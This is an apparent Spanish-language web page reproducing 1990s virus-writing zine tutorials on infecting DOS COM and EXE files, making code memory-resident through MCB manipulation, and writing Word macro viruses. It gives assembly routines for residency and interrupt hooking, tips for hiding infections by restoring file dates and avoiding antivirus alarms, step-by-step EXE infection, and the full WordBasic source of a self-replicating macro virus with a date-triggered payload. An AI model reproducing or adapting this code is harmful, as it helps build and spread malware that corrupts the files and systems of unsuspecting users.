24 su dirección inicial.       (fijaos en la función 35h y 25h de la int 21h, para leer       la dirección de una interrupción y para cambiarla)              mov  ax,3524h    ;en ah el codigo de la función (35h)             int  21h         ;en al el número de la interrupción        Esto devuelve en BX el offset y en ES el segmento de la interrupción              mov  cs:[bp+old_int24_off],bx             mov  cx:[bp+old_int24_seg],es        Con esto guardo en memoria la dirección de la interrución original       Y ahora desvío la interrupción 24 a un procedimiento mío.              mov  dx,offset new_int24             mov  ax,2524h             int  21h         ;en ds:dx dirección de la nueva función             jmp  Contaminar  ;supongo ds = cs ya que estamos contaminando com's new_int24:  xor  al,al       ;en al la interrupción 24 devuelve el código             iret             ;de error por lo que la pongo a 0 :> contaminar:         Después de contaminar simplemente devolvemos el valor original        a la interrupción con...             lds   dx,cs:old_int24            mov   ax,2524h            int   21h         Fijate en las variables que añado a la zona de variables   old_int24  label dword  old_int24_off    dw 0  old_int24_seg    dw 0         Defino una etiqueta llamada old_int24 para referenciar el inicio        a los valores del offset y del segmento de la interrupcion 24 así        con el comando lds dx,cs:old_int24 los puedo cargar directamente        en DS:DX sin tener que leer las 2 variables por separado.         Otras mejoras que podríamos añadir es la verificación del tamaño        del archivo. Ten en cuenta que un archivo com sólo puede tener        65 kbytes de tamaño eso hace que si el hoste est  muy cerca de        ese tamaño y si tú le añades el código del virus ,el conjunto        de hoste+virus no se podría  cargar en un único segmento por lo        que el programa se colgaría .        Por eso lo mejor es verificar el tamaño con una rutina como esta        (supongo en la variable longitud el tamaño del hoste)        ....                   mov ax,50000d                  cmp word ptr [bp+longitud],ax                  jb  size_ok            ;salto si el primer elemento                  jmp salir              ;a comparar es menor al segundo size_ok:        También es interesante guardar la hora y la fecha del archivo       contaminado y luego restaurar la fecha y la hora , así nadie       se dará  cuenta que la última modificación del archivo fué cuando       el virus le contaminó }:>       Para eso utilizaremos la función ax=5700h de la int 21 para leer       la fecha del archivo y la ax=5701h para cambiarla.       En dx se obtendrá el campo de la hora y en cx la fecha.Según       el siguiente criterio.        Bit(s)
   -   INSTALACION DE UN VIRUS EN LA MEMORIA DEL ORDENADOR   -     -------------------------------------------------------------------------------            Este artículo intenta explicar los métodos mas usados de residencia,   con un enfoque mas práctico que teórico, dejando en claro lo fundamental para  poder aprovecharlos, en especial el de MCB. Muestra ejemplos de los 2 tipos de   técnicas descritos, que pueden (en el caso del MCB) usarse directamente  en sus propios virus.  La teoría no esta muy detallada, pero se encontrará  todo lo necesario para  que el novato comprenda y pueda usar estos métodos. Y con la información  del articulo, si desea profundizar la teoría, es sólo cuestión de leer alguna  guía o manual, que hable sobre la memoria, ya que aquí se explica lo básico  necesario (espero...).    Empezemos:          Los métodos más usados para dejar a un virus residente son:   los que el DOS proporciona o el método de MCB (Memory Control Block).    La primera forma es la más simple, pero también la mas ineficaz,  primero porque le informa al DOS que se esta dejando algo residente... además   al ejecutarse esa función retorna el control al DOS. El programa que se   intente ejecutar termina!. El virus que use esta técnica para evitar salir   al DOS en su instalacion en memoria tiene que reejecutarse. Para quedar   residente, se ejecuta a si mismo otra vez (serv. 4bh), y en su segunda   ejecución ejecuta una int 27h o llama al servicio 31 de la int. 21h, esta a su   vez, le da el control al programa padre, al que se cargo primero, y este   puede entonces terminar, ejecutando al anfitrión.  Si esto no se hiciera, al  ejecutar una int 21, por ejemplo, se le cedería el control al interprete de   comandos...    Una de las característica de los virus que usan esta técnica es que  suelen colocarse al principio de los archivos, estos servicios dejaran  residente la cantidad de parrafeo que se les indique desde el comienzo del  programa en memoria... Si tenemos un COM de 50K y el virus al final, al  usar la int 27h, y dejar residente, por ejemplo, 1k, lo que quedaria seria  el primer K del COM, no el virus que esta al final....  Es evidente que no pondemos dejar 50k  residentes... para que el virus quede  en memoria se puede relocar(mover), a otro bloque, tranferirle el control, y  luego este le cederá el control al programa padre...  Para evitar esto, muchos se colocan al principio del programa que infectan.  Claro que esto es lento, porque hay que leer todo el file, y luego escribirlo  después del virus, lo que no pasa si va al final, en ese caso solo hay que  escribir el virus, no el virus y el archivo!.  Este método es poco elegante, ademas de lento si se infecta dejando el virus  al comienzo, entre otras cosas...    Abajo, sigue un fuente de un TSR, no de un virus!, solo un TSR normal  para ilustrar su funcionamiento.  Este ejemplo intercepta la int. 21 y luego le pasa el control sin  hacer nada. Se le puede agregar el código para hacer lo que se quiera.    ===============================================================================  ===============================================================================  code    segment           assume cs:code,ds:code          org   100h               start:          jmp     instalar                        ;Salta a la rutina de                                                  ;instalacion.    ;En esta variable va la direccion original de la int 21h.  old_21  dd      2    new_21:    ;Aca va la rutina que se cuelga de la interrupcion 21h.            jmp     cs:[old_21]                     ;Salta a la int original.    instalar:    ;Obtengo el vector original de la int 21          mov     ax, 3521h          int     21h          mov     word ptr old_21, bx               mov     word ptr old_21+2, es       ;Seteo el nuevo  vector de la int 21          mov     ax,2521h                    push    cs          pop     ds          mov     dx, offset new_21          int     21h    ;Queda residente          mov     ah, 31h          mov     dx, 30d  ;<--------- Cantidad de parrafeo(16 bytes) a dejar int 21h ; residentes. code ends end start =============================================================================== =============================================================================== El segundo método es el de MCB, este es un poco mas complejo que simplemente llamar a al int 27h, pero es mucho mas eficaz. Para entender como funciona hay que saber que el dos crea un bloque de control por cada bloque de memoria que use, este bloque de control, mide 16 bytes, un parrafo y esta justo por encima del bloque de memoria asignado. En un .COM, por ejemplo, en cs - 1, esta la dirección de este bloque. En el offset 3 del mismo esta la cantidad de memoria usada por ese programa..., para poder dejar residente un prog. hay que restarle a ese valor la longitud del virus, luego liberar la memoria que ya no usa (servicio 4ah) y asignarla (servicio 48h) a nuesto prog. Para terminar, marcamos el MCB del segmento al que movimos nuestro virus con '8' en el offset 1, para que el dos piense que es parte suya y no use esa memoria. En ese offset se coloca una marca, para identificar al bloaque, para esta rutina usamos 8 poruque es el que usa el DOS. El código que sigue muestra como se hace... Este code sirve para dejar un virus residente desde un COM, si se carga desde un EXE hay que tener en cuanta que el segmento del MCB a modificar lo obtenemos de restarle 1 a DS y no a CS. =============================================================================== =============================================================================== ;Paso a AX el Code Segment, lo decremento y paso a ES, para obtener ;la memoria reservada por el programa anfitrión (ES:[3]), que queda en AX... mov ax, cs ;Con esto obtenemos el segmento dec ax ;del MCB. mov es, ax ;Aca estamos obteniendo del campo mov ax, es:[3] ;del MCB, la memoria utilizada. ;Resto a la memoria usada por el anfitrión la longitud del virus, el resultado ;en AX. sub ax, bx ;En BX esta la longitud del virus, ;en parrafos. ;Paso el resultado de la operacion anterior a BX, para después llamar al ;servicio de liberar memoria, que se llama com BX, con el nuevo tamaño y con ;el asegmento en ES. push bx ;Salvo la cantidad de mem a reservar. mov bx, ax ;Le paso la nueva cantidad a BX. push cs pop es mov ah, 4ah int 21h ;Asigno la memoria liberada a mi virus, el segmento de la memoria asignada ;queda en AX. Decremento BX porque un parrafo lo va a usar el DOS.... pop bx ;Popeo la cantidad de mem a reservar. dec bx mov ah, 48h int 21h ;Decremento AX, y lo paso a ES, de esa forma apunto al parrafo que usa el DOS ;como control, marco ese parrfo en el offset 1 con 8, para que el DOS lo ;considere como parte suya y no utilize esa zona de memoria. ;Después incremento AX otra vez y lo paso a ES, para que ES quede apuntando ;a la memoria que el virus usara. dec ax mov es, ax mov word ptr es:[1], 8 mov word ptr es:[8],'XX' ;Opcional, un nombre al bloque. inc ax mov es, ax push es ;Salvo la dir del seg. del virus =============================================================================== =============================================================================== Ahora lo que queda es mover el virus al segmento reservado, esto es cuestión de hacer un rep movsb al segmento al que apunta ES y listo, el virus esta residente. NOTA: La rutina en si no hace saltar ninguna alarma, la alarma de residencia del TB salta cuando detecta la actualizacion de la int 21h o 13h. Fé de Ratas..  ------------------------------------------------------------------------------- mov ax, cs ;Con esto obtenemos el segmento dec ax ;del MCB. mov es, ax ;Aca estamos obteniendo del campo mov ax, es:[3] ;del MCB, la memoria utilizada. ;****************************************************************************** ;El problema de esto, es que en ningún momento se aclara que tenemos que decla_ ;rar el tamaño del virus un poco mas grande, exactamente un parrafo mas largo. ;Esto por qué ? Y bueno, en el momento en que tenemos que restarle un parrafo a ;la memoria que queremos reservar (esto lo haciamos para dar lugar a que se ;cree el MCB del nuevo bloque), estamos reservando un parrafo menos de virus ;también.. osea que la última parte del virus no entraría en la memoria reser_ ;vada.. Puede ser que no traiga problemas por ser un  rea de datos o algo por ;el estilo, pero es aconsejable hacer las cosas bien, o no ?  ;Bueno, la manera de solucionar esto es simplemente INCrementar la cantidad de ;parrafos del virus o si lo declaran en su programa con un : ; ; TAMANO_EN_PARRAFOS EQU ((FIN-COMIENZO)/16)+1 ; ; declarar el incremento directamente ahi, para no gastar bytes ni clocks  : ; ; TAMANO_EN_PARRAFOS EQU ((FIN-COMIENZO+15)/16)+1 ; ;****************************************************************************** sub ax, bx ;En BX esta la longitud del virus, ;en parrafos. (ahora incrementada). push bx ;Salvo la cantidad de mem a reservar. mov bx, ax ;Le paso la nueva cantidad a BX. push cs pop es mov ah, 4ah int 21h pop bx ;Popeo la cantidad de mem a reservar. dec bx mov ah, 48h int 21h dec ax mov es, ax mov word ptr es:[1], 8 mov word ptr es:[8],'XX' ;Opcional, un nombre al bloque. inc ax mov es, ax push es ;Salvo la dir del seg. del virus ... ;blah blah blah y sigue el código  ...DTM - Dead to Minotauro BBS silly Troyan installer. Text by Zarathustra for Minotauro Magazine
       Contaminando ficheros EXE        ---------------------------          Los ficheros com no parecen un problema, pero ¿y los EXE?, no son ni mucho menos difíciles de contaminar aunque hay que dominar el header (la cabecera) de los EXE.        Los EXEs pueden tener más de un segmento lo que hace necesario una cabecera con información acerca de la memoria que necesitará  el programa, la dirección de inicio donde se comenzará  a ejecutar el programa etc. Además posee una tabla de realocación para que el programa se pueda cargar a partir de cualquier segmento de memoria.       Cuando el DOS carga un EXE primero constuye un PSP y un environment block (como ya hac¡a con los COM) luego lee el header y a partir de los datos de éste carga el EXE. Luego realocatea el código.¿Pero qué coño es eso de realocatear el código?.      En un Exe las referencias de segmento se hacen a partir del segmento 0 pero el código no tiene porqué cargarse necesáriamente en ese segmento por eso se creó la realocación. En el Exe se almacena una tabla con punteros a todas las referencias a segmentos ya sabéis, instrucciones del tipo.       call 1234:0023   (ojo que un call 23 no hace referencia a segmentos)      jmp  1000:2344       nuestro virus no tendrá  referencias de segmentos ya que será       menor que 65000 bytes (espero je,je,je) ,excepto el salto      al cs:ip inicial del exe. pero esa dirección la realocatearemos      manualmente >:)       En el Exe se almacena una lista de punteros que indican donde hay referencias de segmento . Pero ojo que estas referencias tampoco estan realocateadas por lo que el DOS suma a cada puntero. El segmento efectivo donde se cargó el EXE + 10 (tamaño del PSP).Ahora tenemos la dirección real donde hay una referencia de segmento y el DOS  realocatea la dirección sumando la dirección efectiva + 10. Después de hacer esto con cada puntero de la tabla de realocación el Dos tendrá  en memoria el código con la dirección que toca para cada segmento.        EXE PROGRAM FILE   Header                                CS:IP (Header)  0000:0000 +   (relocation                           Eff. Segment    1000      +    table entries=2)                     PSP             0010      =                                         -------------------------                                         Entry Point     1010:0000    Relocation Table         0000:0003                                                                               + 1010H = 1010:0003                                         0000:0007                                                                               + 1010H = 1010:0007                                    Program Image                        PROGRAM IN MEMORY                                                            PSP                     1000:0000      call 0001:0000                        call 1011:0000          1010:0000    nop                                   nop                     1010:0005   mov ax, 0003                          mov ax, 1013            1010:0006   mov ds, ax                            mov ds, ax              1010:0009    Aqu¡ tenéis la estructura del header de los EXE.       Offset Descripcion      00   Marca de EXE (MZ = 4D5A)      02   Numero de bytes en la ultima pagina (de 512 bytes) del programa      04   Numero total de paginas de 512 bytes, redondeado hacia arriba      06   Numero de entradas en la Tabla de Alocacion      08   Size del header (en paragrafos, incluyendo la Tabla de realocacion)      0A   Minimo de memoria requerido (en para)      0C   Maximo de memoria requerido (en para)      0E   SS inicial      10   SP inicial      12   Checksum      14   IP inicial      16   CS inicial      18   Offset de la Tabla de Alocacion desde el comienzo del file      1A   Numero de Overlays generados    En 00 tenemos la marca de los EXE que es MZ (es lo que diferencia un  exe de un com)  Si os fijáis con las entradas 04 y 06 tenemos el tamaño del EXE.  (pages)*512+reminder.S¡ lo sé es una manera muy rebuscada de poner  el tamaño lo pod¡an haber puesto directamente con esos 4 bytes ,pero  bueno as¡ hay m s emoción je,je,je.En 06 tenemos el número de punteros  de la tabla de realoción (Cada puntero ocupa 4 bytes con lo que  4*nº de punteros nos dar  el tamaño de la tabla de realocación)  En 08 el tamaño del header en paragrafos (incluyendo la tabla de  realocación).  Después tenemos el Minimo y m ximo de memoria también en par grafo  En los Exes al ocupar m s de un segmento no es posible cargar la  pila desde la dirección FFFFh como hac¡amos en los com hemos de  indicar en el header donde queremos que esté la pila. Por lo  que hay dos entradas de dos bytes cada una con el segmento  y el offset para la pila.  En el offset 12 tenemos el checksum. Normalmente está  a 0 con lo  que lo podemos utilizar para marcar el archivo como contaminado.  El los offset 14 y 16 el IP y CS inicial (comienzo de la ejecución).  En el offset 18 el offset de comienzo de la tabla de realocación  normalmente es 1c es decir 28 en decimal.  Si os fijáis normalmente 4*nº de punteros de la tabla de realocación  + offset tabla de realocación = paras del header * 16  Pero esto no siempre es igual ya que tenemos que poner el header en  parágrafos y no siempre la cabecera + la tabla de realocación nos  dan un múltipo de 16 con lo que normalemente tendremos de 1 a 15 bytes  de basura en el file,después de la tabla de realocación (que también  se podr¡an utilizar para marcar el file como infectado).  En 1a se menciona el número de overlays generados , hay programas  que por su gran tamaño no se pueden cargar enteros en memoria  por lo que hay que cargarlos poco a poco mediante overlays internos  (carece de utilidad en esta lección  :<) Antes de comenzar con la teoría sobre infección de EXE's me gustar¡a   hablar un poco de como se direcciona la memoria.   Como todos ya sabéis en un 8086 la memoria se direcciona con 2 registros   de 16 bits cada uno. Uno que direcciona un segmento (o bloque de FFFFh bytes)   y otro que direcciona una posición dentro de dicho segmento).   Pero resulta que el 8086 no ten¡a un bus de datos de 32 bits sino de 20   entonces tuvieron que armar una pirula para que entrase la dirección en   el bus. Inventaron la segmentación de memoria.   Teniendo en cuenta que tenemos 4 bytes para apuntar a una dirección de   memoria en teoría podríamos direccionar 4 gigas de memoria. Pero con   un bus de 20 bits eso no es posible  ya que 2^20 solo nos permite   direccionar 1 mega de memoria.   Bueno, bueno, que chapuzas pero ¿como calcular una dirección de 20 bits   si sólo tengo registros de 16 bits?. Bueno aquí viene lo divertido.   El segmento lo multiplica por 16 o lo que es lo mismo desplaza hacia   la izquierda 4 bits el registro de segmento y al resultado se le suma   el registro del offset con esto obtenemos la dirección f¡sica   deseada, una dirección de 20 bits.     Tened en cuenta que éste método es el causante de que tengamos los   famoso 640 bytes de memoria convencional. El mega que podemos direccionar   es separado en memoria convencional y en memoria superior que va de los   640 bytes al mega.La memoria convencional se utiliza para cargar el kernel   del DOS ,los vectores de interrupcion,programas residentes,   programas de usuario etc. y la superior para memoria de video,   tablas del bios etc.   Lógicamente eso no quiere decir que no podamos utilizar memoria por encima   del mega.En la memoria superior siempre quedan segmentos inutilizados   que gracias a drivers de memoria pueden convertirse en los denominados   UMB (upper memory blocks, bloques de memoria superior). Estos están   dentro del mega direccionable por el DOS pero en realidad en ellos hay   programas y datos almacenados en memoria extendida y que son transladados   a la memoria convencional para su ejecución y su posible direccionamiento.     Bueno en refinitiva teniendo una dirección como esta 1234h:3423h   la dirección real ser¡a 12340h+3223h=15563h     Ahora supongo que ya sabréis la razón de reservar memoria en parágrafos   ¿porqué 16 bytes y no reservar memoria en bytes?.Es obvio. 16 es la   diferencia entre un segmento y el siguiente. La diferencia entre 1000:0000   y 1001:0000 no son FFFFh bytes como algunos suponías son 16 bytes. ;'>  que són la unidad mínima de memoria que se puede reservar.  S¡,s¡ de aqu¡ viene el número mágico je,je.  Ahora supongo ,entenderéis mejor la residencia. En la residencia  buscamos el segmento del MCB disminuyendo el segmento donde está  el PSP  Con esto no nos vamos FFFFh bytes hacia atrás sino que sólo nos vamos  16 bytes que es lo que ocupa el MCB (je,je,je,je ,apasionante ¿no?)   Pasos para infectar un archivo EXE  ----------------------------------   1. Leemos el header a un área de memoria para poder modificarlo a placer.     Calculamos el tamaño del archivo.     Y calculamos el CS:IP que dever  tener el header (para que apunte     al código del virus que situo al final del archivo).     Puedes poner de 1-15 bytes de basura en el archivo para redondearlo     a parágrafo esto hace que la ip sea 0 (invariante) siempre y te     ahorras tener que calcular el desplazamiento que sufrirán las variables     (como hac¡amos en los archivos com).     Tén en cuenta que si utilizas dir stealth (técnica que evita que se vea     un incremento del tamaño en los archivos contaminados ,necesitás saber     el tamaño exacto del archivo) al poner de 1-15 bytes de basura el     stealth te se irá  de 1 a 15 bytes por lo que podrías redondearlo a un     número fijo poniendo luego basura después del virus  :>.   2. Copiamos el virus al final . Espero que no tengas problemas en hacer     esto, sino despídete.   3. Calculamos el SS:SP. El virus logicamente se tendrá que buscar un     sitio para tener la stack. Esto es ,porque si el programa tenía la     stack sobre el código del virus ,podría sobreescribirlo mientras     lo ejecutamos y te aseguro que eso no es bueno para nuestro virus     creetelo.:>   4. Calcular el nuevo tamaño que tendrá  el archivo.Esto no es dif¡cil     simplemente buscamos el tamaño del archivo (ten en cuenta que ya     tenemos el código del virus al final ) y dividimos por 512     el resulatado incrementado en 1 ser  el número de páginas     y el resto el reminder.   5. Calculamos la memoria mínima que necesitará  el programa.     Simplemente sumamos el tamaño en parágrafos del virus.     a la memoria m¡nima.    6. Escribimos el nuevo header en el archivo.     (En el código del virus almacenamos el antiguo CS:IP y el SS:IP      para devolver el control al HOSTE)   NOTA: Al cargar un archivo EXE DS y ES apuntan al PSP ,SS y CS pueden        ser diferentes.Ojo con lo que hacéis con DS y ES porqué los        necesitaréis luego para dar el control al HOSTE.(realocatear el salto        de vuelta al hoste).                     Text of NIGROMANTE .             nEUrOtIc cpU. is with you.  
Ahora toca hablar un poco sobre los virus de Word. Estos virus se programan

en un lenguaje llamado WB (wordbasic).

Si supongo que a muchos de vosotros os suena eso del basic y tenéis mucha

razón ya que el WB es una variante del basic. A mi me recuerda enormente

al famoso qbasic que ven¡a con el DOS, sobretodo porque est  bastante

estructurado y no hay que poner los engorrosos numeros de linea cada

vez ;>.

Supongo que los virus del Word son tan famosos porque desde la aparici¢n de

win95 es la forma m s sencilla de infectar un ordenador, porque est  en

un lenguaje de alto nivel y cualquier LAMER puede aprender a utilizarlo

estudianto unos cuantos comandos, y porque por si fuera poco está en una

variante del basic, y quien no aprendió a programar en Basic con la aparición

de los Amstrad y los Spectrum.

Aun así no me parece una rama de los virus muy interesante, al ver

un virus en ensamblador ,aprecias la belleza de su código (siempre y cuando

est‚ bien programado) en cambio cuando ves un virus en WB dices - pero que

cutre!!!!!. Algo as¡ como los virus para BAT o los Companion Viruses.

De todos modos su utilización como carriers (programa con el que

empiezas a contaminar un sistema) es bastante interesante. El virus Ph33r

de los australiandos Vlad ,se extendía mediante un virus para word.

                          Sí son cutres pero que coño se reproducen no???.

                         En primer lugar ¿cuando se ejecuta un Macro?

En el winword existe un famoso archivo llamado normal.dot en ‚el

que se almacenan todas las macros existentes en el word. Entre ellas

están unas macros automáticas que se ejecutan cada vez que se

da cierto evento. Hay 5 macros automáticas ,asociadas a 5

eventos del sistema.

autoclose -Se ejecuta cuando se cierra un archivo

autoopen -Se ejecuta cuando se abre un archivo

autonew -Se ejecuta cuando se crea un archivo.

autoexec -Se ejecuta cuando entras en el word.

autoexit -Se ejecuta cuando sales del word.

De modo que si tu creas una macro llamada autoclose que visualize

tu nombre en pantalla. Cada vez que cierres un archivo se

visualiza  tu nombre en pantalla ;>. Esto parece más fácil que

la residencia en ensamblador jejejeje.

Realmente el virus no está residente simplemente está en el normal.dot

esperando que se ejecute un evento.

Ahora bien, si recibes un archivo contaminado ,como se copia a tu

sistema (al normal.dot) si tu normal.dot está  limpio todavía?

Resulta que en los archivos también puedes introducir macros.

El macro autoopen en un archivo se ejecutaría cada vez que abres un

archivo y el autoclose cada vez que lo cierras.

Ahora bien ese archivo tiene que ser de tipo plantilla si no el macro

no se podría ejecutar.Los virus de word normalmente aunque no sean

una plantilla ,graban los archivos contaminados como plantilla para

que puedan ser ejecutados sus macros directamente desde los archivos.

Esto se hace con el simple comando

archivoguardarcomo.formato=1

nota: Como veis los comandos están en Castellano, la verdad es que

esto sólo es posible en la versión hispana del word ,pero hay que

fomentar la producción nacional.

De todas formas si veis el código de algún virus de word en Ingles

no te preocupes la traducción es practicamente literal para la

versión castellana.

             y ahora bien ¿como copio el virus desde un archivo al normal.dot?

No es necesario utilizar cosas raras ni punteros ni guardar valores

en registros como en ensamblador, esto es un lenguaje de alto

nivel esto se hace con una simple instrucción jejejejeje.

macrocopiar "doc1:autoclose","global:autoclose"

Con esta instrucción copio el macro autoclose situado en el

archivo doc1 al macro autoclose que guardar‚ en normal.dot

(no se referencia al archivo de macros normal.dot como tal, sino

que se utiliza la expresión global)

fácil no??. del mismo modo se puede hacer lo contrario

macrocopiar "global:autoclose","doc1:autoclose"

para copiar del macro autoclose de global a doc1.

Tambien se puede sustuir esta expresión por

macrocopiar "global:autoclose",nombreventana$()+":autoclose"

Esto copia la macro autoclose de global al archivo que va a ser cerrado.

nombreventana$() es una funci¢n del word que devuelve el nombre de

la ventana abierta.

           Ahora viene una pregunta importante ¿donde escribo el virus?

Mira en el menu de herramientas la opcion macros.

Te aparecer  un bonito editor de macros con todas las macros existentes

actualmente en tu word y si tienes alguna plantilla abierta te

proporciona la posibilidad de ver los macros incluidos en dicha

plantilla

            Otra pregunta importante ¿como eliminar un virus de word?

Si sospechas que tienes un virus de word, borra el normal.dot

de modo que el propio word te crear  uno limpio. Con eso limpias

el normal.dot .Los archivos los puedes abrir con el editor de macros

en la opcion organizador.

(abrelos con el editor si los abres con el word estamos en las mismas

con el normal.dot contaminadito).Y puedes borrar todas macros que

tengas en el archivo. :> fácil ehhh.

Normalente no hay macros en el normal.dot así que si habres el editor

y ves un par de macros ,puedes pensar mal.

No conozco a nadie que utilice macros unicamente los creadores de virus.

                               Nuestro primer virus.

Este virus estar  formado por 2 macros una autoclose y otra llamada

nigro que es el que utilizaremos para saber si est  contaminado

el archivo o el normal.dot

'***********************************************************

'*                                                                                                                  *

'* Virus Taguchi                                                                                            *

'* (la probabilidad de aprobar es de un 0.05 %)                                             *

'*                                                                                                                  *

'***********************************************************

Sub MAIN 'este macro definelo como autoclose

On Error Goto finalizar 'si hay algun error va a finalizar

'hay etiquetas y saltos condicionales

'como pod‚is ver.

Nigro1$ = NombreVentana$() + ":autoclose"

Nigro2$ = NombreVentana$() + ":nigro"

Archi$ = LCase$(Right$(NombreArchivoMacro$(NombreMacro$(0)), 10))

'utilizo la función Lcase para realizar la comparación

'solo en minúsculas y en Archi$ tendrá‚ el nombre del

'archivo que contenga el macro ya sea un archivo de

'plantilla o el normal.dot

'utilizo la función right$ porque nombrearchivomacro$

'devuelve el nombre con la ruta

If archi$ = "normal.dot"  Then        'si se ejecuta desde el normal.dot

             If infectado = 0 Then

               Goto contadoc 'si no lo esta contamina el archivo activo

            Else

                Goto finalizar 'si lo esta no contamina

            EndIf

Else 'se ejecuta desde un archivo

            If infectado = 0 Then

                     Goto contanormal 'contamina normal.dot si no lo esta

           Else

                    Goto finalizar 'no contamina porque ya lo est

          EndIf

EndIf

Goto finalizar

MsgBox "virus Taguchi"

contadoc:                  'contamina archivo abierto

ArchivoGuardarComo .Formato = 1 'en archivos sólo se autoejecutar n las

                                                         'macros que están en plantillas.

                                                         'Pues creamos la plantilla.

MacroCopiar "global:autoclose", nigro1$, 1

MacroCopiar "global:nigro", nigro2$, 1

ArchivoGuardarTodo 1, 1

Goto finalizar

contanormal: 'contamina el normal.dot

MacroCopiar nigro1$, "global:autoclose", 1

MacroCopiar nigro2$, "global:nigro", 1

ArchivoGuardarTodo 1, 0

Goto finalizar

finalizar:

Call Nigro                  , payload ,llamo a otra macro.

End Sub

'anda pero si hay tambien funciones!!!!!

'que bonito!!!

'esta funcion definela dentro de la ventana

'del macro autoclose ya que es llamada desde

'dicha macro

Function infectado 'función que verifica si estó  infectado

'ya sea un archivo o el normal.dot segun el

'caso devuelve 0 si limpio y 1 si infectado

infectado = 0

Archi$ = LCase$(Right$(NombreArchivoMacro$(NombreMacro$(0)), 10))

'busca entre los macros si est  el macro nigro

'si est  es que estar  contaminado

If archi$ = "normal.dot" Then

                    If ContarMacros(1) > 0 Then

                                  For i = 1 To ContarMacros(1)

                                           If NombreMacro$(i, 1) = "nigro" Then

                                                                                       infectado = 1

                                          End If

                                 Next i

                     End If

Else

                     If ContarMacros(0) > 0 Then

                                For i = 1 To ContarMacros(0)

                                         If NombreMacro$(i, 0) = "nigro" Then

                                                                                infectado = 1

                                        End If

                              Next i

                   End If

 End If

End Function

Sub MAIN 'este procedimiento definelo como nigro

If Día(Ahora()) = 19 And Mes(Ahora()) = 2 Then

Insertar " * tAgUchI vIrUz * by NIGROMANTE(nEUrOtIc cpU) 1997"

Goto bucle

'si es el día 19 de Febrero creo un bucle infinito

'escribiendo en el archivo abierto nEUrOtIc cpU

End If

End Sub

Supongo que la mayoría de estas funciones son fáciles de entender

intuitivamente por el nombre, sino podéis hacer pruebas con el

word.

De todas formas voy a explicar un poco la verificación de si está

contaminado el archivo.

En primer lugar el virus guarda en archi$() el nombre del archivo

desde el que fue ejecutado el macro (tened en cuenta que

en como qbasic las funciones que devuelven texto tienen el simbolo

$ al final).En nombre del archivo lo obtiene mediante la función

nombrearchivomacro$().

Ahora teniendo ese nombre compara archi$ con "normal.dot" para

saber si se est  ejecutando el macro desde un archivo o desde

el normal.dot. Si se est  ejecutando desde el normal.dot ,

como es lógico no hará  falta contaminarlo jejeje, entonces mediante

la función infectado mira si el archivo abierto esta contaminado

si no lo está  lo contamina y si lo está  se va a la macro

nigro para realizar el payload. En el caso en que se ejecute

desde un archivo se hace lo contrario mediante la funcion infectado

se mira si el normal.dot está  contaminado si lo está  se va al macro

nigro y si no lo está  lo contamina.Guau esto parece un trabalenguas

La función infectado trabaja por tando de diferente manera según

se ejecute desde un archivo o desde el normal.dot.

Si se ejecuta desde un archivo

                    infectado=1 si normal.dot infectado

                    infectado=0 si normal.dot no infectado

Si se ejecuta desde el normal.dot

                    infectado=1 si archivo infectado

                    infectado=0 si archivo no infectado

La verificación de si est  infectado o n o ya sea el archivo o el

normal.dot se hara mediante las funciones

        contarmacros(1) que devuelve el número de macros en el archivo

                                  activo

       contarmacros(0) que devuelve el n£mero de macros en normal.dot

       nombremacro$(n,1) devuelve el nombre del macro numero n

                                      dentro del archivo activo

      nombremacro$(n,0) devuelve el nombre del macro numero n

                                     dentro del normal.dot

El recorrido por todos los nombres de macros se realiza mediante

un bucle (si esto es un jodido lenguaje de alto nivel ,aquí hay de todo)

             For i = 1 To ContarMacros(1)

                         If NombreMacro$(i, 1) = "nigro" Then

                                                                infectado = 1

                        End If

           Next i

Con esto se busca una macro de nombre "nigro" dentro de un archivo

si lo encuentra infectado tomar  el valor 1.En caso contrario

infectado tendr  el valor con el que fue inicializado es decir 0.

Comandos interesantes para el payload serían por ejemplo

shell "comando" con el que puedes ejecutar programas del sistema

operativo.

El comando shell es muy interesante para hacer llamadas al programa

debug del dos con codigo hexadecimal y crear carriers ejecutables

de virus como en el caso del Ph33r.

insertar "hola hola hola" puedes insertar texto en el documento activo

msgbox "virus activado" aparece un cuadro de diálogo que este mensaje

y desaparece cuando se apreta el boton de

'aceptar'.

Black Hole  
   
Facebook botón-like  
 
 
Hoy hay 32 visitantes¡Aqui en esta página!
Este sitio web fue creado de forma gratuita con PaginaWebGratis.es. ¿Quieres también tu sitio web propio?
Registrarse gratis